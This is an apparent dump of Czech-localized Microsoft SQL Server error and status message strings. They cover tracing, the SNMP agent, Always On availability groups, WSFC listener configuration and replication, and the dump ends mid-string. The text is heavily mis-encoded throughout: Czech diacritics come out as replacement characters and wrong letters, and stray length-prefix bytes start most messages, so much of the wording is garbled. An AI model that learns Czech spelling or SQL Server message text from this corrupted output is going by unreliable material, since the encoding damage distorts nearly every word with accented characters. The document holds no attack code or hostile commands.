�Porovn�n� z�znamu protokolu odstrann� a vlo~en� pro ID sloupce %1!s! s ID tabulky %2!s! se nezdaYilo.

4PY�stup byl odepYen.

�Doalo k chyb ODBC, stav = %1, nativn� chyba = %2, chybov� zpr�va = %3.

DDoalo k chyb Windows NT, %1.

�Prob�h� spouatn� Agenta roza�Yen� MS SQL SNMP, %1, verze %2.

pObnovuje se pYipojen� Agenta roza�Yen� MS SQL SNMP.

\Agent roza�Yen� MS SQL SNMP je ukon
ov�n.

�Nelze spustit kontroln� trasov�n� C2. Prob�h� vyp�n�n� syst�mu SQL Server. Chyba = %1!s!

�NezdaYilo se inicializovat pYidlov�n� �loh OLE. Roznorod� dotazy, distribuovan� dotazy a vol�n� vzd�len�ch procedur nejsou k dispozici. Zkontrolujte, ~e model DCOM je spr�vn nainstalov�n a nakonfigurov�n.

�Soubor %1!s! neexistuje, nebo pYi jeho otev�r�n� doalo k chyb. Chyba = %2!s!.

dN�zev trasovac�ho souboru %1!s! je neplatn�.

TPYi trasov�n� doalo k nezn�m� chyb.

|PYed proveden�m zmny je tYeba ukon
it aktivn� trasov�n�.

PID ud�losti trasov�n� nen� platn�.

LID sloupce trasov�n� nen� platn�.

�Filtry se stejn�m ID sloupce ud�losti musej� b�t seskupeny.

XRela
n� oper�tor ve filtru nen� platn�.

XLogick� oper�tor ve filtru nen� platn�.

@Stav trasov�n� nen� platn�.

PPo~adovan� trasov�n� nelze nal�zt.

HMo~nost trasov�n� nen� platn�.

XSloupec trasov�n� SPID nelze odstranit.

LTrasovac� soubor nelze vytvoYit.

LNedostate
n� pame pro trasov�n�.

hPo~adovan� 
as ukon
en� trasov�n� ji~ uplynul.

4Parametr nen� platn�.

HOmezen� trasov�n� nelze zmnit.

�Nov� trasov�n� nelze vytvoYit, proto~e cesta k trasovac�mu souboru se nach�z� v existuj�c�m trasov�n�.

�Cesta k trasovac�mu souboru nen� platn� nebo nen� podporov�na.

8N�zev trasovac�ho souboru je neplatn�, proto~e obsahuje 
�slo souboru pYechodu (NNN v z�pisu C:\file_NNN), i kdy~ je mo~nost zmny trasov�n� povolena.

�V�choz� trasov�n� nelze zastavit, ani zmnit. Chcete-li ho vypnout, pou~ijte proceduru SP_CONFIGURE.

�Trasov�n� bylo zastaveno, proto~e aktu�ln� trasovac� soubor je pln� a mo~nost zmny nebyla zad�na.

�NepodaYilo se odstranit star� trasovac� soubor %1!s!. Chyba = %2!s!.

|PYi spuatn� v�choz�ho trasov�n� doalo k chyb. PY�
ina: %1!s! Vypnte ho pomoc� procedury sp_configure a pak zapnte upYesHuj�c� mo~nost konfigurace serveru V�choz� trasov�n� povoleno.

�Trasov�n� s ID %1!s! bylo kvoli chyb zastaveno. PY�
ina: %2!s!. Po opraven� probl�mu spusete trasov�n� znovu.

PHodnota READ_ONLY_ROUTING_URL %1!s! zadan� pro repliku dostupnosti %2!s! nen� platn�. NesplHuje po~adovan� form�t TCP://adresa-syst�mu:port. Dala� informace o spr�vn�m form�tu adresy URL smrov�n� naleznete v dokumentaci pY�kazu CREATE AVAILABILITY GROUP na webu Knihy online pro SQL Server.

�V seznamu READ_ONLY_ROUTING_LIST byla pro repliku dostupnosti %2!s! zad�na duplicitn� replika dostupnosti %1!s!. Zkontrolujte seznam replik zadan� v pY�kazu a odeberte ze seznamu duplicitn� n�zev nebo n�zvy repliky. Potom pY�kaz opakujte.

�Replika dostupnosti %1!s! zadan� v seznamu READ_ONLY_ROUTING_LIST pro repliku dostupnosti %2!s! neexistuje. Do tohoto seznamu lze pYidat pouze repliky dostupnosti, kter� patY� do zadan� skupiny dostupnosti %3!s!. Chcete-li z�skat n�zvy replik dostupnosti v dan� skupin dostupnosti, vyberte polo~ku replica_server_name v seznamu sys.availability_replicas a polo~ku name v seznamu sys.availability_groups. Dala� informace z�sk�te na webu Knihy online pro SQL Server.

�Replika dostupnosti %1!s!, kter� je zad�na v seznamu READ_ONLY_ROUTING_LIST pro repliku dostupnosti %2!s!, nem� v parametru READ_ONLY_ROUTING_URL nastavenu ~�dnou hodnotu. Zkontrolujte, zda je pro ka~dou repliku dostupnosti v dan� skupin dostupnosti nastavena hodnota READ_ONLY_ROUTING_URL. Pro ka~dou repliku, kterou chcete pYidat do seznamu READ_ONLY_ROUTING_LIST, zadejte platnou hodnotu READ_ONLY_ROUTING_URL. Pokud mn�te repliky dostupnosti v existuj�c� skupin dostupnosti, mo~ete z�skat n�zvy replik dostupnosti v dan� skupin dostupnosti   vyberte polo~ku replica_server_name v seznamu sys.availability_replicas a polo~ku name v seznamu sys.availability_groups. Dala� informace z�sk�te na webu Knihy online pro SQL Server.

DVytvoYen�, spojen� nebo pYid�n� repliky do skupiny dostupnosti %1!s! se nezdaYilo, proto~e uzel %2!s! je mo~n�m vlastn�kem repliky %3!s! i %4!s!. Je-li jedna replika instanc� clusteru s podporou pYevzet� slu~eb pYi selh�n�, odeberte pYekr�vaj�c� uzel mo~n�m vlastn�kom a opakujte akci.

lPlatnost zapoj
en� mezi skupinou dostupnosti %1!s! a clusterem Windows Server s podporou pYevzet� slu~eb pYi selh�n� vypraela. Doalo k probl�mu s pYipojen�m mezi instanc� syst�mu SQL Server a clusterem Windows Server Failover Cluster. Pokud chcete ur
it, jestli doch�z� ke spr�vn�mu pYevzet� slu~eb pYi selh�n� skupiny dostupnosti, zkontrolujte odpov�daj�c� prostYedek skupiny dostupnosti v clusteru Windows Server Failover Cluster.

�Pokus pYepnout clusterov� kontext slu~by Windows Server Failover Clustering (WSFC) funkce dostupnosti skupin Always On na vzd�len� cluster slu~by WSFC selhal. Dovodem je, ~e nejm�n jedna replika dostupnosti hostovan� m�stn� instanc� syst�mu SQL Server je te pYipojen� ke skupin dostupnosti v m�stn�m clusteru slu~by WSFC. Odeberte vaechny pYipojen� repliky z pY�sluan�ch skupin dostupnosti. Pak opakujte pY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = '%1!s!'.

XZadan� cluster slu~by Windows Server Failover Clustering (WSFC) %1!s! nen� pYipraven st�t se clusterov�m kontextem funkce dostupnosti skupin Always On (k�d chyby syst�mu Windows: %2!s!). Dovodem mo~e b�t, ~e zadan� cluster slu~by WSFC nen� spuatn� nebo doalo k probl�mom s bezpe
nostn�mi opr�vnn�mi. Opravte pY�
inu chyby a opakujte pY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = 'remote_wsfc_cluster_name'.

lPY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = '%1!s!' selhal. Aktu�ln� clusterov� kontext slu~by Windows Server Failover Clustering (WSFC) funkce dostupnosti skupin Always On ji~ podl�h� vzd�len�mu clusteru slu~by WSFC. Kdy~ je funkce dostupnosti skupin Always On spuatn� pod vzd�len�m clusterov�m kontextem, nen� povoleno pYepnut� na jin� vzd�len� cluster slu~by WSFC. Lze pYepnout jen na m�stn� cluster slu~by WSFC.

$Pokus pYepnout funkci dostupnosti skupin Always On na m�stn� clusterov� kontext slu~by Windows Server Failover Clustering (WSFC) selhal. PY�
inou mo~e b�t to, ~e pYepnut� clusterov�ho kontextu zpt na m�stn� cluster mo~e v tuto chv�li zposobit ztr�tu dat. Nejm�n jedna sekund�rn� datab�ze v replik�ch se synchronn�m potvrzov�n�m toti~ nen� ve stavu SYNCHRONIZED. Vy
kejte na dokon
en� synchronizace vaech sekund�rn�ch datab�z� se synchronn�m potvrzov�n�m a opakujte pY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER LOCAL.

@Pokus pYepnout clusterov� kontext slu~by Windows Server Failover Clustering (WSFC) funkce dostupnosti skupin Always On na zadan� cluster slu~by WSFC (%1!s!) selhal. Clusterov� kontext se pYepnul zpt na m�stn� cluster slu~by WSFC. Dala� informace najdete v�protokolu chyb syst�mu SQL Server. Opravte pY�
inu chyby a opakujte od za
�tku kroky pro nastaven� sekund�rn�ch replik ve vzd�len�m clusteru slu~by WSFC.

<NepodaYilo se zpracovat hodnotu kl�
e registru %1!s! (k�d chyby syst�mu Windows: %2!s!), kter� obsahuje n�zev vzd�len�ho clusteru slu~by Windows Server Failover Clustering (WSFC). Dala� informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development. Opravte pY�
inu chyby a opakujte od za
�tku kroky pro nastaven� sekund�rn�ch replik ve vzd�len�m clusteru slu~by WSFC.

tNejm�n jedna datab�ze ve skupin dostupnosti %1!s! nen� synchronizov�na. Existuj�-li nesynchronizovan� datab�ze, v replice dostupnosti se synchronn�m potvrzov�n�m nen� povolen pY�kaz ALTER AVAILABILITY GROUP <group_name> OFFLINE. Vy
kejte, ne~ vaechny datab�ze dos�hnou stavu SYNCHRONIZED, a opakujte pY�kaz.

�Pokus vytvoYit skupinu dostupnosti nebo ji pYevz�t pYi selh�n� se nezdaYil. Kdy~ je funkce dostupnosti skupin Always On spuatn� ve vzd�len�m clusterov�m kontextu slu~by Windows Server Failover Clustering (WSFC), nen� tato operace podporovan�. Ve vzd�len�m clusterov�m kontextu nen� podporovan� vytv�Yen� skupin dostupnosti nebo jejich pYevzet� pYi selh�n�.

�PY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = '%1!s!' se nezdaYil, proto~e byl zad�n n�zev m�stn�ho clusteru slu~by Windows Server Failover Clustering (WSFC) (%2!s!). Zadejte n�zev vzd�len�ho clusteru slu~by WSFC a opakujte pY�kaz.

hSkupina Windows Server Failover Cluster nedostala od skupiny dostupnosti hostuj�c� SQL Server %1!s! v r�mci obdob� vypraen� platnosti zapoj
en� sign�l pro zpracov�n� ud�losti.

hSkupina dostupnosti hostuj�c� SQL Server %1!s! nedostala od skupiny Windows Server Failover Cluster v r�mci obdob� vypraen� platnosti zapoj
en� sign�l pro zpracov�n� ud�losti.

`Obnoven� zapoj
en� mezi skupinou dostupnosti %1!s! a skupinou Windows Server Failover Cluster selhalo, proto~e na SQL Serveru doalo k chyb Windows s k�dem chyby (%2!s!).

�Zapoj
en� skupiny dostupnosti %1!s! u~ nen� platn� pro zah�jen� procesu obnoven� zapoj
en�.

�PYenos skupin dostupnosti Always On pro datab�zi dostupnosti %1!s! narazil na hranici Y�zen� toku s blokem protokolu, jeho~ poYadov� 
�slo polo~ky je %2!s!. K t�to chyb doch�z�, kdy~ sekund�rn� replika nem� vyrovn�vac� pame pro pY�jem nov� zpr�vy z prim�rn� repliky. Toto je pouze informativn� zpr�va. Nen� nutn� ~�dn� akce.

,PYenos skupin dostupnosti Always On zjistil chybj�c� blok protokolu pro datab�zi dostupnosti %1!s!. LSN posledn�ho pou~it�ho bloku protokolu je %2!s!. Pokus�me se o opravu optovn�m skenov�n�m protokolu. Tato zpr�va je pouze informativn�. Nen� nutn� ~�dn� akce u~ivatele.

|Always On: Kontrole integrity AG se nepovedlo naj�t n�zev skupiny AG pro namapov�n� polo~ky podle ID na odpov�daj�c� ID skupiny pro skupinu AG %1!s! (o
ek�v�no: %2!s!; nalezeno: %3!s!).

�Always On: Kontrola integrity AG se nepovedlo naj�t n�zev skupiny AG pro namapov�n� polo~ky podle ID na odpov�daj�c� ID prostYedku pro skupinu AG %1!s! (o
ek�v�no: %2!s!; nalezeno: %3!s!).

�Always On: Kontrola integrity AG pro skupinu AG %1!s! selhala s chybou %2!s!, z�va~nost� %3!s! a stavem %4!s!.

XAlways On: PYi 
ek�n� na pos�len� hodnoty LSN %2!s! v n�stroji Commit Manager [%3!s!] pro datab�zi s ID [%4!s!] na partnersk�m uzlu s ID [%5!s!] doalo k chyb [%1!s!].

�NepodaYilo se otevY�t objekt s�eov�ho rozhran� clusteru: %1!s!. Rozhran� API ovl�dac�ho prvku clusteru slu~by WSFC vr�tilo k�d chyby %2!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

L'Adresy %1!s! a %2!s! patY� do stejn� pods�t. Z ka~d� pods�t je povolena pouze jedna adresa IPv4 a jedna adresa IPv6. Pokro
ilou konfiguraci naleznete ve spr�vci slu~by Windows Server Failover Clustering (WSFC), kde je mo~n� prostYednictv�m spr�vce clusteru vytvoYit vlastn� konfiguraci.

XNaslouchac� proces skupiny dostupnosti (s�eov� n�zev) s ID prostYedku slu~by Windows Server Failover Clustering %1!s!, n�zvem DNS %2!s! a portem %3!s! se nepodaYilo spustit z dovodu n�sleduj�c� trval� chyby: %4!s!. OvYte 
�sla porto, n�zvy DNS a souvisej�c� konfiguraci s�t a opakujte operaci.

�Naslouchac� proces skupiny dostupnosti (s�eov� n�zev) s ID prostYedku %1!s!, n�zvem DNS %2!s! a portem %3!s! se nepovedlo spustit z dovodu n�sleduj�c� chyby: %4!s!. Zkontrolujte konfiguraci a protokoly s�t a clusteru.

�Naslouchac� proces skupiny dostupnosti (s�eov� n�zev) s ID prostYedku %1!s!, n�zvem DNS %2!s! a portem %3!s! se nepovedlo zastavit z dovodu n�sleduj�c� chyby: %4!s!. Zkontrolujte konfiguraci a protokoly s�t a clusteru.

Cluster slu~by WSFC nem� veYejnou s�e s clustery s pods�t� IPv4. Chcete-li vytvoYit naslouchac� proces skupiny dostupnosti DHCP, je tYeba tento po~adavek splnit. Nakonfigurujte pro cluster veYejnou s�e s pods�t� IPv4 a znovu se pokuste vytvoYit naslouchac� proces.

�Server %1!s! nemo~e hostovat ~�dnou z IP adres nakonfigurovan�ch pro naslouchac� proces skupiny dostupnosti. Nakonfigurujte veYejnou s�e s clustery, ve kter� bude mo~n� nkterou ze zadan�ch IP adres hostovat, nebo pYidejte dala� IP adresu naslouchac�ho procesu, kterou bude mo~n� hostovat na veYejn� s�ti s clustery pro tento server.

dZadan� IP adresa %1!s! nen� platn� pro rozsah IP adres povolen� pro cluster. S pomoc� spr�vce s�t vyberte hodnoty, kter� odpov�daj� rozsahu IP adres povolen�mu pro cluster.

Uzly slu~by WSFC, kter� hostuj� prim�rn� a sekund�rn� repliky, patY� do rozn�ch pods�t�. Pro repliky dostupnosti nen� podporov�n protokol DHCP napY�
 nkolika pods�tmi. Naslouchac� proces skupiny dostupnosti nakonfigurujte s pou~it�m statick� IP adresy.

�Naslouchac� proces s n�zvem DNS %1!s! nevyhovuje pravidlom pro naslouchac� proces syst�mu SQL Server a nemo~e b�t prostYednictv�m syst�mu SQL Server konfigurov�n. PYekonfigurujte naslouchac� proces prostYednictv�m spr�vce clusteru slu~by WSFC.

�Naslouchac� proces skupiny dostupnosti s n�zvem DNS %1!s! je nakonfigurov�n na pou~it� protokolu DHCP. Pro naslouchac� procesy s touto konfigurac� nemohou b�t pYid�ny IP adresy prostYednictv�m syst�mu SQL Server. Chcete-li pYidat IP adresy k naslouchac�mu procesu, odpojte naslouchac� proces DHCP, vytvoYte jej znovu a nakonfigurujte tak, aby pou~�val statick� IP adresy.

�Uzel WSFC, kter� hostuje prim�rn� repliku, patY� do v�ce pods�t�. Chcete-li pou~�t mo~nost DHCP pro prostYed� v�ce pods�t�, zadejte IP adresu protokolu IPv4 a masku pods�t pro naslouchac� proces.

�NepodaYilo se z�skat popisova
 v�
tu uzlu slu~by WSFC. K�d chyby: %1!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� popisova
 prostYedku clusteru neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

PRozhran� API s�eov�ho rozhran� ovl�dac�ho prvku clusteru slu~by WSFC vr�tilo k�d chyby %1!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Rozhran� API s�eov�ho ovl�dac�ho prvku clusteru slu~by WSFC vr�tilo neplatnou IP adresu. Slu~ba WSFC m� pravdpodobn ve sv� datab�zi neplatn� data nebo se jedn� o verzi, kter� nen� podporov�na.

�Rozhran� API spr�vy slu~by WSFC vr�tilo nerozpoznateln� v�raz z�vislosti: %1!s!. Slu~ba WSFC m� pravdpodobn ve sv� datab�zi neplatn� data nebo se jedn� o verzi, kter� nen� podporov�na.

�NepodaYilo se z�skat v�raz z�vislosti prostYedku slu~by WSFC pro prostYedek clusteru s n�zvem nebo ID %1!s!. K�d chyby: %2!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se odebrat z�vislost prostYedku, v n�~ v clusteru slu~by WSFC z�vis� prostYedek %1!s! na prostYedku %2!s!. K�d chyby: %3!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Naslouchac� proces s n�zvem DNS %1!s! pro skupinu dostupnosti %2!s! ji~ naslouch� na portu TCP %3!s!. Zvolte pro naslouchac� proces jin� port TCP. Dojde-li k pot�~�m s naslouchac�m procesem, vyYea�te je restartov�n�m naslouchac�ho procesu.

0Zadan� naslouchac� proces s n�zvem DNS %1!s! pro skupinu dostupnosti %2!s! neexistuje. Pou~ijte existuj�c� naslouchac� proces, nebo vytvoYte nov�.

�NepodaYilo se odstranit prostYedek v clusteru slu~by WSFC, proto~e prostYedek %1!s! nen� offline. ProstYedek lze odstranit pomoc� modulu Spr�va clusteru s podporou pYevzet� slu~eb pYi selh�n� (cluadmin.msc).

�Cluster slu~by WSFC nemohl pYev�st prostYedek s�eov�ho n�zvu s n�zvem DNS %1!s! do re~imu online. N�zev DNS je pravdpodobn pou~�v�n nebo doalo ke konfliktu s existuj�c�mi slu~bami DNS, nebo slu~ba WSFC nen� spuatna nebo k n� nelze pYistupovat. Konflikt n�zvo vyYea�te pou~it�m jin�ho n�zvu DNS. Dala� informace naleznete v protokolu clusteru slu~by WSFC.

|NepodaYilo se odstranit prostYedek clusteru slu~by WSFC %1!s!. K�d chyby: %2!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se pYidat z�vislost prostYedku, v n�~ by v clusteru slu~by WSFC z�visel prostYedek %1!s! na prostYedku %2!s!. K�d chyby: %3!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se nastavit v�raz z�vislosti prostYedku %1!s! pro prostYedek slu~by WSFC %2!s!. K�d chyby: %3!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

<ProstYedek slu~by WSFC s ID %1!s! nelze pYev�st do re~imu offline. K�d chyby: %2!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

DNepovedlo se vytvoYit s�eov� n�zev a IP adresu pro naslouchac� proces. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� hodnoty s�eov�ho n�zvu a IP adresy nespr�vn�. Zkontrolujte stav clusteru slu~by WSFC a s pomoc� spr�vce s�t ovYte s�eov� n�zev a IP adresu. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

�Skupina dostupnosti %1!s! ji~ m� naslouchac� proces s n�zvem DNS %2!s!. Skupiny dostupnosti mohou m�t pouze jeden naslouchac� proces. Pou~ijte existuj�c� naslouchac� proces, nebo jej odpojte a vytvoYte nov�.

NepodaYilo se naj�t vlastnost v�ceYetzcov� hodnoty (n�zev vlastnosti %1!s!) prostYedku slu~by WSFC s n�zvem nebo ID %2!s!. K�d syst�mov� chyby: %3!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

<Rozhran� API s�eov�ho ovl�dac�ho prvku clusteru slu~by WSFC vr�tilo k�d chyby %1!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se otevY�t objekt s�t s clustery: %1!s!. Rozhran� API ovl�dac�ho prvku clusteru slu~by WSFC vr�tilo k�d chyby %2!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se z�skat stav prostYedku slu~by WSFC pro prostYedek clusteru s n�zvem nebo ID %1!s!. Rozhran� API stavu prostYedku slu~by WSFC vr�tilo k�d chyby %2!s!. Slu~ba WSFC pravdpodobn nen� spuatna nebo k n� v jej�m aktu�ln�m stavu nelze pYistupovat. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�Zadan� 
�slo portu (%1!s!) je neplatn�. Platn� 
�sla portu jsou v rozsahu od 1 do 65535 (v
etn). Vyberte 
�slo portu v tomto rozsahu. Nen�-li 
�slo portu zad�no, pou~ije se v�choz� 
�slo 1433.

�Form�t IP adresy (%1!s!) je neplatn�. Pou~ijte platnou hodnotu IP adresy.

�Zadan� IP adresa (%1!s!) je duplikov�na v seznamu IP adres. Ka~d� IP adresa v konfiguraci naslouchac�ho procesu mus� b�t jedine
n�. ZmHte pY�kaz a odeberte nebo nahrate duplikovan� hodnoty.

DZadan� n�zev DNS (%1!s!) je neplatn�. D�lka n�zvu DNS mus� b�t v rozsahu od 1 do 63 znako (v
etn). ZmHte hodnotu n�zvu DNS, aby splHovala tento po~adavek.

�Byly provedeny zmny konfigurace naslouchac�ho procesu skupiny dostupnosti, ale poskytovateli TCP instance syst�mu SQL Server se nepodaYilo naslouchat na zadan�m portu [%1!s!:%2!s!]. Port TCP je ji~ pou~�v�n. PYekonfigurujte naslouchac� proces skupiny dostupnosti a zadejte port TCP, kter� je k dispozici. Informace o zmn�ch naslouchac�ho procesu skupiny dostupnosti naleznete v 
�sti ALTER AVAILABILITY GROUP (Transact-SQL) na webu Knihy online pro SQL Server.

`Byly provedeny zmny konfigurace naslouchac�ho procesu, ale nebylo mo~n� ur
it stav naslouch�n� odpov�daj�c�ho poskytovatele TCP z dovodu n�sleduj�c�ho k�du chyby: %1!s!. Zkontrolujte protokol chyb syst�mu a zjistte, zda poskytovatel TCP naslouch� nebo zda je nutn� naslouchac� proces restartovat.

�Pokus vytvoYit s�eov� n�zev a IP adresu pro naslouchac� proces se nezdaYil, pokus vr�tit zpt prostYedky pro s�eov� n�zev a IP adresu se rovn~ nezdaYil. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� hodnoty s�eov�ho n�zvu a IP adresy nespr�vn�. Zkontrolujte stav clusteru slu~by WSFC a s pomoc� spr�vce s�t ovYte s�eov� n�zev a IP adresu. Zkontrolujte, zda v clusteru po t�to operaci nezost�vaj� prostYedky pro s�eov� n�zev nebo IP adresu. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

�Nepovedlo se vytvoYit koncov� bod transakce FILESTREAM RsFx, proto~e doalo k chyb s k�dem HRESULT 0x%1!s!.

�Nepovedlo se odstranit koncov� bod transakce FILESTREAM RsFx, proto~e doalo k chyb s k�dem HRESULT 0x%1!s!.

�Datab�ze dostupnosti %1!s! ve skupin dostupnosti %2!s! je v neplatn�m stavu, tak~e nejde prov�st intern� operaci. Dala� informace zjist�te podle k�du chyby. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

�Poakozen� sekund�rn� replika %1!s! zposobuje selh�n� zah�jen� prohled�v�n� pro datab�zi s ID %2!s!. Informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

�Byly zad�ny konfliktn� mo~nosti. Mo~nost DISTRIBUTED nejde kombinovat s ~�dnou jinou mo~nost� skupiny dostupnosti.

�Jestli chcete vytvoYit distribuovanou skupinu dostupnosti, pou~ijte mo~nost DISTRIBUTED.

�Zadan� adresa URL naslouchac�ho procesu %1!s! je neplatn�. Zadejte pY�kaz znovu se spr�vnou adresou URL. Informace o zad�v�n� adresy URL koncov�ho bodu pro repliku dostupnosti najdete na webu SQL Server Books Online.

,}�dn� ze zadan�ch skupin dostupnosti neexistuje lok�ln. Zkontrolujte pros�m DDL a ujistte se, ~e jedna ze skupin dostupnosti existuje lok�ln.

�Nejde vytvoYit replika distribuovan� dostupnosti pro skupinu dostupnosti %1!s!. Replika dostupnosti zadan� skupiny dostupnosti u~ v t�to instanci syst�mu SQL Server existuje. Zkontrolujte, jestli je zadan� n�zev skupiny dostupnosti spr�vn� a jedine
n�, a potom operaci opakujte. Chcete-li existuj�c� repliku dostupnosti odstranit, spusete pY�kaz DROP AVAILABILITY GROUP.

\Nejde vytvoYit replika distribuovan� dostupnosti pro skupinu dostupnosti %1!s!. M�stn� skupina dostupnosti se �
astn� distribuovan� skupiny dostupnosti jako sekund�rn�.

xReplika distribuovan� dostupnosti nemo~e pYevz�t slu~by pYi selh�n� skupiny dostupnosti %1!s!. V t�to verzi syst�mu SQL Server se podporuje jenom vynucen� pYevzet� slu~eb pYi selh�n�.

dM�stn� replika dostupnosti pro skupinu dostupnosti %1!s! nem� pYidlen� opr�vnn� k vytv�Yen� datab�z�, ale m� mo~nost SEEDING_MODE nastavenou na AUTOMATIC. Pomoc� pY�kazu ALTER AVAILABILITY GROUP ... GRANT CREATE ANY DATABASE umo~nte vytv�Yen� datab�z� pYedvyplnn�ch z prim�rn� repliky dostupnosti.

,Replika distribuovan� dostupnosti pro skupinu dostupnosti %1!s! nejde vytvoYit. Pro stejn� repliky u~ existuje distribuovan� skupina dostupnosti.

8PY�kaz ALTER AVAILABILITY GROUP MODIFY AVAILABILITY GROUP selhal. Z�
astnn� replika dostupnosti %1!s! nen� v distribuovan� skupin dostupnosti %2!s!.

�Nejde vytvoYit distribuovan� skupina dostupnosti %1!s!, proto~e skupina dostupnosti s t�mto n�zvem u~ existuje.

�Distribuovanou skupinu dostupnosti %1!s! nealo naj�t. Opakujte pY�kaz s existuj�c� Distribuovanou skupinou dostupnosti.

Nejde se pYipojit k distribuovan� skupin dostupnosti %1!s!. M�stn� skupina dostupnosti %2!s! obsahuje jednu nebo nkolik datab�z�. PYed pYipojen�m k distribuovan� skupin dostupnosti odeberte vaechny datab�ze nebo vytvoYte pr�zdnou skupinu dostupnosti.

�Po~adovan� operace plat� jen pro distribuovanou skupinu dostupnosti a nen� podporovan� pro zadanou skupinu dostupnosti %1!s!. Zkontrolujte, ~e zad�v�te spr�vn� n�zev skupiny dostupnosti.

�Nejde vytvoYit distribuovanou repliku dostupnosti pro skupinu dostupnosti %1!s!. Distribuovanou skupinu dostupnosti nejde vytvoYit na z�kladn� m�stn� skupin dostupnosti. Zkontrolujte, ~e zad�v�te spr�vn� n�zev m�stn� skupiny dostupnosti.

lPYi restartov�n� datab�ze chyb� partner datab�ze.

�%1!s!: Parametr %2!s! nelze pYev�st: V�sledn� sloupec by ml pY�lia mnoho polo~ek.

�Zmnu nelze prov�st, proto~e 
l�nek by se mohl nach�zet v publikaci, kter� m� anonymn� nebo klientsk� odbry. Nastaven�m parametru @force_reinit_subscription na hodnotu 1 potvrte, ~e takov� odbr bude znovu inicializov�n.

�Syst�mov� tabulky pro slu
ovac� replikaci nelze �span vyYadit.

�Syst�mov� tabulky pro slu
ovac� replikaci nelze �span vytvoYit.

dl�nek %1!s! nelze pYidat do publikace %2!s!.

�Agenta sn�mku odpov�daj�c�ho publikaci %1!s! nelze vyYadit.

Nelze nastavit nekompatibiln� vlastnosti publikace. Vlastnost publikace allow_anonymous z�vis� na vlastnosti immediate_sync.

lTyp odbru %1!s! nen� v publikaci %2!s! povolen.

�Vlastnost publikace %1!s! nelze zmnit, pokud k n� existuje odbr.

dParametr @schema_option m� neplatnou hodnotu.

4Adres�Y %1!s! nelze odebrat. Zkontrolujte kontext zabezpe
en� procedury xp_cmdshell a ukon
ete dala� procesy, kter� by mohly k adres�Yi pYistupovat.

�Parametr @subscription_type m� neplatnou hodnotu. Platn� hodnoty jsou pull nebo anonymous.

POdbr tohoto odbratele neexistuje.

�Parametr @optional_command_line je pY�lia dlouh�. Pou~ijte defini
n� soubor agenta.

�Mo~nost replika
n� datab�ze %1!s! nelze nastavit, pokud se nejedn� o publika
n� nebo distribu
n� datab�zi.

|Zadan� pYeklada
 
l�nko je bu neplatn�, nebo neexistuje.

0Odbr nelze nal�zt.

�Tento 
